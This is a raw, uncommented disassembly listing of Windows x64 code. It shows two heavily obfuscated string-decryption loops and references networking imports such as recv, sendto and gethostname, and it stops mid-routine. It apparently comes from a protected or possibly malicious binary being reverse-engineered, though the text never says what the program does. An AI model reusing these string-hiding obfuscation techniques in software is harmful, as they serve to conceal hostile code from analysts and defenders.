mov byte [rbp + 0x2d7], WSACleanup
mov byte [rbp + 0x2d8], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x2d9], 0x9f
mov byte [rbp + 0x2da], 0x2a
xor eax, eax
mov qword [rbp + 0x2db], rax
mov dword [rbp + 0x2e3], eax
mov word [rbp + 0x2e7], ax
mov byte [rbp + 0x2e9], al
movabs r14, 0x494dec30a0abd108
movabs r13, 0x121755464b2b738
movabs r12, 0x6e859cf3235b1528
movabs r15, 0xdbe9c491e2037318
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x1a
jae 0x14007e178
movzx r10d, byte [rbp + r11 + 0x2d0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14007e16f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007d63c
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x38
jmp 0x14007d676
je 0x14007e0fa
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007e09b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007e050
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007e02f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007e007
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14007e166
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14007d6ae
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007d6f0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007dfc1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007df9b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007df44
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007df27
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007def5
nop
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14007dc56
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007dc3b
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007dc15
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007dbef
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007dbd4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007dbb4
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007db97
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007db78
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007db5b
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007db29
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007d700
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x41]
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007e146
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007e129
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14007d8f1
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007d8d2
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007d8b7
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007dadc
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14007da9e
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007da5e
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14007da36
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007d700
lea rbx, [r8 + 0x200]
lea r8, [rbx + 4]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007da07
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14007d9e7
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007d9cc
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007d9ac
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007d997
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14007d97c
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14007d956
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14007d930
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007d911
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007d700
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x10]
jmp 0x14007d700
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14007d6f0
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007d680
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007d610
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007dfd7
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x14007d5f3
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007d5f3
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14007df5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x14007df7f
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007df82
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x14007e06c
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007e0b3
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d5f3
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
mov byte [rbp + r11 + 0x2d0], dil
inc r11
jmp 0x14007d5f3
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x64
jb 0x14007da4e
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
mov edx, 0x18
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14007dfd7
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
cmp rbx, 0xa
jae 0x14007dec4
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x14007de18
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
jmp 0x14007da6d
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [rbx + r8]
cmp rax, 3
je 0x14007dedf
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14007dd38
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x14007dab4
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d5f3
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14007e0b3
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007e06c
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14007df82
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007df7f
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14007df5a
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007d5f3
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x14007d5f3
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14007dfd7
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x14007dc7a
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x14007daf6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007dcb2
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d5f3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007dce1
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007d5f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007dd10
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
inc r8
dec r11
inc r11
jmp 0x14007d5f3
cmp rbx, rcx
jne 0x14007daf6
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007dfd7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007dd60
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007dfd7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007dd8f
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007d5f3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007ddb8
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007df82
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007dddc
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14007e06c
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007dab4
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d5f3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007de50
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d5f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007de74
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14007e06c
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007de9c
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007df5a
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007da78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec r11
inc r11
jmp 0x14007d5f3
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007df5a
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x30]
jmp 0x14007e06c
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d5f3
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007df7f
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
add r9b, 0x48
movzx eax, r10b
and al, r9b
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r9b
mov byte [rbp + r11 + 0x2d0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007d5f3
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007d5f3
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
add r9b, 0x38
movzx eax, r10b
and al, r9b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x2d0], cl
inc r8
dec r11
inc r11
jmp 0x14007d5f3
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007d5f3
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
dec r11
inc r11
jmp 0x14007d5f3
lea rcx, [r11 + r13]
and sil, cl
mov eax, 0x3c
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
add r9b, 0x58
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x68
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x2d0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14007e0b3
lea rcx, [r11 + r12]
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x18
add dil, cl
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x2d0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d5f3
lea rcx, [r11 + r15]
and sil, cl
mov eax, 0x2c
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d5f3
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x14007d5f0
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007d5d8
lea rcx, [rbp + 0x1707430]
jmp 0x14007e17f
lea rcx, [rbp + 0x9c4538]
jmp 0x14007e17f
lea rcx, [rbp + 0x2d0]
lea rdx, [0x1401dd72a]
call fcn.14003a4c0
mov byte [rbp + 0x570], 0x75
mov byte [rbp + 0x571], 0xaf
mov byte [rbp + 0x572], __WSAFDIsSet
mov byte [rbp + 0x573], __WSAFDIsSet
mov byte [rbp + 0x574], 0xa8
mov byte [rbp + 0x575], 0x90
mov byte [rbp + 0x576], 0x56
mov byte [rbp + 0x577], WSACleanup
mov byte [rbp + 0x578], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x579], 0x9f
mov byte [rbp + 0x57a], 0x4a
mov byte [rbp + 0x57b], WSASetLastError
mov byte [rbp + 0x57c], 0xbe
mov byte [rbp + 0x57d], 0xbf
mov byte [rbp + 0x57e], 0xb1
mov byte [rbp + 0x57f], 0xb8
mov byte [rbp + 0x580], 0xb3
mov byte [rbp + 0x581], 0x21
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x582], xmm0
mov dword [rbp + 0x592], eax
mov word [rbp + 0x596], ax
movabs r14, 0xc884d4ef6c8c4508
movabs r15, 0xcab7c6ad0ee6d48
movabs r13, 0xea9828ad1ebd5928
movabs r12, 0x598e7ece45a4cf18
movzx edi, byte [rsp + 0x50]
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x28
jae 0x14007ed57
movzx r10d, byte [rbp + r11 + 0x570]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14007ed4e
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007e2ac
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x38
jmp 0x14007e2e6
je 0x14007ecd9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007ec7a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007ec49
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007ec2e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007ebe4
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14007ed45
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14007e31e
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007e352
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007ebcc
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007eba6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007eb89
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007eb57
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14007e85b
nop
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007e840
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007e81a
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007e7f4
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007e8e4
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007e7d1
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007e7b4
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007e795
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007e775
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007e743
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007ed25
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007ed08
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007e524
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007e505
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007e4ea
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007e6f3
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007e6b5
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007e671
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14007e360
lea rbx, [r8 + 8]
lea r8, [rbx + 4]
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14007e642
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007e622
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007e603
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14007e5e3
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007e5cb
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007e5af
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14007e589
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007e563
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007e544
lea rbx, [r8 + 9]
lea r8, [rbx + 0x61]
jmp 0x14007e360
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14007e352
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007e2f0
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007e280
lea edx, [r9 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14007ebfe
add r9b, 0x30
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x14007e263
add r9b, 0x20
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x14007e263
lea edx, [r9 + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x70
jmp 0x14007eae5
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add rbx, r8
jmp 0x14007ec61
sub r9b, 0x10
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007ec61
lea edx, [r9 - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x20
add dil, dl
jmp 0x14007eb26
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007ec92
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e263
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x2a
jb 0x14007eabf
lea edx, [r9 + 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14007ebfe
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
cmp rbx, 0x5a
jae 0x14007eacf
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x14007e9f1
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
jmp 0x14007e680
lea edx, [r9 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
lea rax, [rbx + r8]
cmp rax, 8
je 0x14007eb15
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14007e932
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x14007e6cb
sub r9b, 0x10
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e263
sub r9b, 0x20
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x20
add dil, r9b
jmp 0x14007ec92
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007eb26
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14007ec61
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14007ec61
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007e263
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x14007e263
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14007ebfe
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x14007e87f
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x14007e70d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007e8b7
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e263
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007e8db
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14007eb26
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007e8ff
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14007eae8
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007e70d
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007e263
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007e95a
lea edx, [r9 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14007ebfe
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007e989
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
inc r8
dec r11
inc r11
jmp 0x14007e263
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007e9b5
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14007ec61
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007e6cb
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e263
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007ea29
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e263
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007ea4d
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
